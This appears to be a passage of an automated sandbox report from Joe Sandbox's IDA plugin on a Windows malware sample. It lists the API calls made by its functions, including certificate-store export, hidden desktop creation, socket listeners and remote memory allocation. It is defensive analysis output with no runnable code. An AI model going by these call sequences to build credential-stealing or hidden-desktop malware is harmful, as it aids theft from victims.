    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F410, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
    APIs
    • lstrcmpiW.KERNEL32 ref: 0040F410
    • SetWindowExtEx.GDI32 ref: 0040F416
    • GetFocus.USER32 ref: 0040F41C
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040F44E
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040ACD8, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 68
    APIs
    • RegSetValueExW.ADVAPI32 ref: 0040ACD8
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408BFC, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61
    APIs
    • SetEndOfFile.KERNEL32 ref: 00408BFC
    • lstrcpynW.KERNEL32 ref: 00408C02
    • ScreenToClient.USER32 ref: 00408C08
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408C92, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 42
    APIs
    • UnhandledExceptionFilter.KERNEL32 ref: 00408C92
    • SetScrollPos.USER32 ref: 00408C98
    • SetWindowLongW.USER32 ref: 00408C9E
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A6E3, Relevance: 12.2, APIs: 8, Instructions: 151
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 0040A74E
    • CloseHandle.KERNEL32(?), ref: 0040A8B8
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
    • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 0040A7E8
    • WSAEventSelect.WS2_32(?,00000000,00000000), ref: 0040A829
    • WSAIoctl.WS2_32(?,8004667E,?,00000004,00000000,00000000,?,00000000,00000000), ref: 0040A849
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 00419ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00419EEB
      • Part of subcall function 00419ED7: CloseHandle.KERNEL32 ref: 00419EF6
    • accept.WS2_32(?,00000000,00000000), ref: 0040A874
    • WaitForMultipleObjects.KERNEL32(?,00000004,00000000), ref: 0040A888
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
    • CloseHandle.KERNEL32(?), ref: 0040A8A9
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 004204BA
      • Part of subcall function 0040A45D: getsockname.WS2_32(?,?,?), ref: 0040A4B4
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004079BF, Relevance: 12.1, APIs: 8, Instructions: 134
    APIs
    • InitializeCriticalSection.KERNEL32(00434170), ref: 004079D6
    • InitializeCriticalSection.KERNEL32(00433FEC), ref: 00407A0B
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407A33
    • ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00407A50
    • CloseHandle.KERNEL32 ref: 00407A61
      • Part of subcall function 00427234: InterlockedExchange.KERNEL32(00434140,00000000), ref: 00427252
      • Part of subcall function 00427234: InterlockedExchange.KERNEL32(00434120,00000000), ref: 0042725A
      • Part of subcall function 00427234: InitializeCriticalSection.KERNEL32(004340F8), ref: 00427261
      • Part of subcall function 00427234: CoInitializeEx.OLE32(00000000,00000002), ref: 0042735E
      • Part of subcall function 00427234: CoCreateInstance.OLE32(00401690,00000000,00004401,00401680,?), ref: 00427394
      • Part of subcall function 00408F85: GetModuleHandleW.KERNEL32(?), ref: 00408FAB
    • InitializeCriticalSection.KERNEL32(00433F6C), ref: 00407AA8
      • Part of subcall function 0042BBC0: GetCurrentThreadId.KERNEL32 ref: 0042BBCA
      • Part of subcall function 0042BBC0: GetThreadDesktop.USER32 ref: 0042BBD1
      • Part of subcall function 0042BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 0042BBEB
    • GetModuleHandleW.KERNEL32(?), ref: 00407ACF
    • GetModuleHandleW.KERNEL32(?), ref: 00407AD8
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263DB
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263E7
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263F3
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263FF
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 0042640B
      • Part of subcall function 00425E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00425E37
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00420A6C, Relevance: 12.1, APIs: 8, Instructions: 120
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,004071B8), ref: 00420A87
    • CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00420AA3
    • CertEnumCertificatesInStore.CRYPT32 ref: 00420AAF
    • PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00420AED
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00420B1A
    • CharLowerW.USER32 ref: 00420B38
    • GetSystemTime.KERNEL32(?), ref: 00420B43
      • Part of subcall function 00420A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00420B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00420A23
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00420BCB
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042BD28, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • GetCurrentThread.KERNEL32 ref: 0042BD39
    • SetThreadPriority.KERNEL32 ref: 0042BD40
      • Part of subcall function 0042886A: OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 0042888F
      • Part of subcall function 0042886A: CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 004288A2
      • Part of subcall function 0042886A: GetProcessWindowStation.USER32 ref: 004288B3
      • Part of subcall function 0042886A: OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 004288EE
      • Part of subcall function 0042886A: CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00428902
      • Part of subcall function 0042886A: GetCurrentThreadId.KERNEL32 ref: 0042890E
      • Part of subcall function 0042886A: GetThreadDesktop.USER32 ref: 00428915
      • Part of subcall function 0042886A: SetThreadDesktop.USER32 ref: 00428927
      • Part of subcall function 0042886A: CloseDesktop.USER32 ref: 00428939
      • Part of subcall function 0042886A: CloseWindowStation.USER32(?), ref: 00428954
      • Part of subcall function 0042B7E3: TlsAlloc.KERNEL32(?,004345C0,00000000), ref: 0042B7FD
      • Part of subcall function 0042B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,004345C0,00000000), ref: 0042B824
      • Part of subcall function 0042B7E3: CreateEventW.KERNEL32(00432AFC,00000001,00000000,?), ref: 0042B84B
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B86B
      • Part of subcall function 0042B7E3: CreateFileMappingW.KERNEL32(00000000,00432AFC,00000004,00000000,03D09128,?), ref: 0042B893
      • Part of subcall function 0042B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 0042B8A9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B8C6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 0042B8E6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0042B8F0
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 0042B8FD
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000,00000000), ref: 0042B925
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B9C9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B9DE
      • Part of subcall function 0042B7E3: CreateCompatibleDC.GDI32 ref: 0042B9EB
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0042BA00
      • Part of subcall function 0042B7E3: SelectObject.GDI32(?), ref: 0042BA17
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000), ref: 0042BA2D
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BA4D
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA5D
      • Part of subcall function 0042BA3D: TlsFree.KERNEL32 ref: 0042BA68
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA76
      • Part of subcall function 0042BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32 ref: 0042BA8D
      • Part of subcall function 0042BA3D: SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BAB8
      • Part of subcall function 0042BA3D: DeleteDC.GDI32(00000000), ref: 0042BAC5
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BAD6
      • Part of subcall function 0042BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
      • Part of subcall function 0042BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
      • Part of subcall function 00416373: WSAGetLastError.WS2_32(?,00000001,0000000A,00000000,?,001B7740,?,00000003,001B7740,?,001B7740,?,?,00000018,?), ref: 00416639
      • Part of subcall function 00416373: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00416654
      • Part of subcall function 00416373: ReleaseMutex.KERNEL32 ref: 004166E6
      • Part of subcall function 00416373: GetSystemMetrics.USER32(00000017), ref: 00416806
      • Part of subcall function 00416373: ReleaseMutex.KERNEL32 ref: 00416B93
    • GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 0042BD97
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 0042BDC9
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • WaitForSingleObject.KERNEL32(?,00001388), ref: 0042BE29
    • CloseHandle.KERNEL32(?), ref: 0042BE39
    • CloseHandle.KERNEL32(?), ref: 0042BE3F
    • SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 0042BE4E
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042C822, Relevance: 12.1, APIs: 8, Instructions: 107
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C836
    • ReleaseMutex.KERNEL32 ref: 0042C855
    • GetWindowRect.USER32(?,?), ref: 0042C862
    • IsRectEmpty.USER32(?), ref: 0042C8E6
    • GetWindowLongW.USER32(?,000000F0), ref: 0042C8F5
    • GetParent.USER32(?), ref: 0042C90B
    • MapWindowPoints.USER32(00000000), ref: 0042C914
    • SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 0042C938
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00421A14, Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 424
    APIs
    • EnterCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421A2F
    • LeaveCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421AB2
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421C6F
      • Part of subcall function 004284CE: EnterCriticalSection.KERNEL32(00434170,?,00421C94,?,?,00004E25,10000000,?,00000000,00000000), ref: 004284D5
      • Part of subcall function 004284CE: LeaveCriticalSection.KERNEL32(00434170,?,00004E25,10000000,?,00000000,00000000), ref: 0042850A
      • Part of subcall function 00428514: EnterCriticalSection.KERNEL32(00434170,00000000,?,00421DB8,?,00000000,00000000), ref: 00428520
      • Part of subcall function 00428514: LeaveCriticalSection.KERNEL32(00434170,?,00000000,00000000), ref: 0042856A
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421DEB
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0042131B: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 004214ED
      • Part of subcall function 0042131B: RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 0042150D
      • Part of subcall function 0042131B: RegCloseKey.ADVAPI32(000000FF), ref: 00421520
      • Part of subcall function 0042131B: GetLocalTime.KERNEL32(?), ref: 0042152F
      • Part of subcall function 00429B3D: GetTempFileNameW.KERNEL32(00434398,pre,00000000,?), ref: 00429BB9
      • Part of subcall function 00425C34: CreateMutexW.KERNEL32(00432AFC,00000000,00434090), ref: 00425C59
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040F700, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 220
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E900, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207
    APIs
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004206F0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 190
    APIs
    • EnterCriticalSection.KERNEL32(00433F6C,0000FDE9,?), ref: 004207A7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • LeaveCriticalSection.KERNEL32(00433F6C,000000FF,000000FF), ref: 00420802
    • EnterCriticalSection.KERNEL32(00433F6C), ref: 0042081D
    • getpeername.WS2_32 ref: 004208D1
      • Part of subcall function 0041B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 0041B9C7
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040A4DE, Relevance: 10.7, APIs: 7, Instructions: 173
    APIs
    • recv.WS2_32(?,?,00000001,00000000), ref: 0040A4FD
      • Part of subcall function 0041BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 0041BD50
      • Part of subcall function 0041BD45: CloseHandle.KERNEL32 ref: 0041BD5B
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 0040A57C
      • Part of subcall function 0040A45D: getsockname.WS2_32(?,?,?), ref: 0040A4B4
      • Part of subcall function 0041B463: send.WS2_32(00000000,00000000,00000000,00000000), ref: 0041B471
    • CreateMutexW.KERNEL32(00000000,00000001,?), ref: 0040A5BE
      • Part of subcall function 0041B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 0041B866
      • Part of subcall function 0041B7E9: WSASetLastError.WS2_32(0000274C), ref: 0041B877
    • accept.WS2_32(00000001,00000000,00000000), ref: 0040A5FF
    • CloseHandle.KERNEL32(?), ref: 0040A616
    • CloseHandle.KERNEL32(?), ref: 0040A625
    • CloseHandle.KERNEL32(?), ref: 0040A642
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 0041B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 0041B92E
      • Part of subcall function 0042BD28: GetCurrentThread.KERNEL32 ref: 0042BD39
      • Part of subcall function 0042BD28: SetThreadPriority.KERNEL32 ref: 0042BD40
      • Part of subcall function 0042BD28: GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 0042BD97
      • Part of subcall function 0042BD28: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 0042BDC9
      • Part of subcall function 0042BD28: WaitForSingleObject.KERNEL32(?,00001388), ref: 0042BE29
      • Part of subcall function 0042BD28: CloseHandle.KERNEL32(?), ref: 0042BE39
      • Part of subcall function 0042BD28: CloseHandle.KERNEL32(?), ref: 0042BE3F
      • Part of subcall function 0042BD28: SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 0042BE4E
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
      • Part of subcall function 004136DA: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00413881
      • Part of subcall function 004136DA: freeaddrinfo.WS2_32(?), ref: 004138BE
      • Part of subcall function 004136DA: getsockname.WS2_32(?,?,?), ref: 00413998
      • Part of subcall function 004136DA: getpeername.WS2_32(?,?,?), ref: 004139B2
      • Part of subcall function 004136DA: recv.WS2_32(?,?,0000FFFF,00000000), ref: 00413A6C
      • Part of subcall function 004136DA: recvfrom.WS2_32(?,?,0000FFFF,00000000,00000017,00000080), ref: 00413AAC
      • Part of subcall function 004136DA: getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00413BE9
      • Part of subcall function 004136DA: freeaddrinfo.WS2_32(?,?,0000FFFF,00000000,00000017,00000080,?,?), ref: 00413C4B
      • Part of subcall function 004136DA: sendto.WS2_32(000000FF,?,?,00000000,00000017,00000010), ref: 00413D17
      • Part of subcall function 004136DA: recvfrom.WS2_32(000000FF,?,?,00000000,00000017,00000080), ref: 00413D5C
      • Part of subcall function 004136DA: sendto.WS2_32(?,?,?,00000000,?,?), ref: 00413DD8
      • Part of subcall function 004136DA: select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 00413E17
      • Part of subcall function 00413FFE: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 004140CD
      • Part of subcall function 00413FFE: freeaddrinfo.WS2_32(?), ref: 00414103
      • Part of subcall function 0041B3EC: recv.WS2_32(?,?,00000001,00000000), ref: 0041B410
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041167F, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 170
    APIs
    • LoadCursorW.USER32 ref: 0041167F
    • MapAndLoad.IMAGEHLP(PG3D,JdV2M89g,?,00000000,00000000), ref: 004116AF
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00411ABA
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
